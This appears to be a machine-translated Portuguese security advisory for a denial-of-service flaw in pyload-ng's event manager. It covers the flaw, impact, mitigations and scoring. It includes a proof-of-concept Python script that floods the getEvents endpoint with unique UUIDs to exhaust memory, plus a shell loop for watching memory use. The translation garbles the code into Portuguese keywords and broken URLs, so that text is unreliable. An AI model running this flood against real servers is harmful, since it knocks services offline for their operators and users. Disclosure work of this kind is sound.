Descrição: O módulo `EventManager` no `pyload` administra uma lista de instâncias `Client` para subscrição a eventos. A adição de cada `uuid` único da API `get_events` causa a criação de uma instância `Client` que é anexada à lista `clients`. Embora exista um método `clean()` disponível no módulo `EventManager` para remover instâncias `clientes' que não respondem, este método nunca é usado no `EventManager` ou no código de aplicativo central. Consequentemente, isso causa um crescimento descontrolado no consumo de memória até que se esgote, resultando em um ataque DoS. ## Código Vulnerável: 355 c 3 f 8 d 78 a 91 f 72 d 049 e 58 f 1 edee 8 a 972 f 845 eb/src/pyload/core/managers/event_manager.py#L 16 - L 17 > Aqui o cliente é adicionado à lista de clientes, mas nunca limpou os clientes inativos.

Exploitação: 1. **Inicie o servidor pyLoad** (Assegure que o servidor pyload está executando) 2. **Autenticar**: Obter um cookie de sessão ou uma chave API (Aqui eu usei a chave API). 3 **Enviar solicitações**: Execute o script poc abaixo para enviar um grande número de solicitações para o endpoint da API `getEvents`, cada um com um único `uuid`. ````python importar pedidos de importação importar tempo de importação uuid # URL de configuração = " 8000 /api/getEvents" NUM_ REQUESTÕES = 100000. cabeçalhos = { "X-API-Key": " " } print(f"Iniciando o ataque dos S: enviando {NUM_REQUESTS} UUIDs únicos..."). para i em intervalo(NUM_ REQUESTES): # Gerando um novo uid UUID = str( uuid. uuid 4 ()) tente: # Enviando pedidos de solicitação.get(URL, params={"uuid": uid}, headers=headers, timeout= 5 ) se i% 1000 == 0: print( f"Enviar {i} solicita...") exceto requests. exceptions.RequestException como e: print( f"Erro a pedido {i}: {e}") quebra.

print("Ataque completo". Verifique o uso da memória."). ``` 5. **Memória de monitor**: Monitore o uso de memória do processo `pyload` (por exemplo, usando `top`, `ps` ou os seguintes comandos). ```bash PID=$( pgrep - f "pyload"); enquanto verdadeiro; faça ps -o rss= - p $PID; durma 1; feito ``` 6. ** Observar Crescimento**: Note que o consumo de memória aumenta e nunca diminui, mesmo após os pedidos pararem e 30 segundos. attachements/ assessments/ 28 d 460 c 9 - 655 D- 45 a 1 -a 47 f- c 0 f 4 d 196 f 686.

Impacto: - Negação de serviço (DoS). O processo 'pyload' consumirá toda a memória do sistema disponível, levando a uma eliminação de Out-of-Memory (OOM) pelo sistema operacional ou instabilidade em todo o sistema, afetando outros serviços no hospedeiro. ## Mitigações: - **Invocar `clean()'**: Chame `self.clean()` no início do método `get_events` para purgar clientes inativos antes de processar novos. - **Limite de Taxas**: Implementar limitação de taxa no endpoint `getEvents` para evitar que um único cliente inunde o servidor com UUIDs únicos. Registro de aconselhamento: GHSA- c 2 f 9 - 4 mc 8 - j 656. Identificadores relacionados: CVE- 2026 - 48987.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 09 T 13: 35: 28.000 Z e lista a sua última modificação como 2026 - 07 - 09 T 13: 35: 28.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.

Software afetado e informações de versão: pacote PyPI pyload-ng — ECOSISTEM: introduzido 0, última afetada 0.5.0 b 3.dev 100. Classificação e evidência: identificadores de fraqueza CWE- 400, CWE- 401, CWE- 770. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.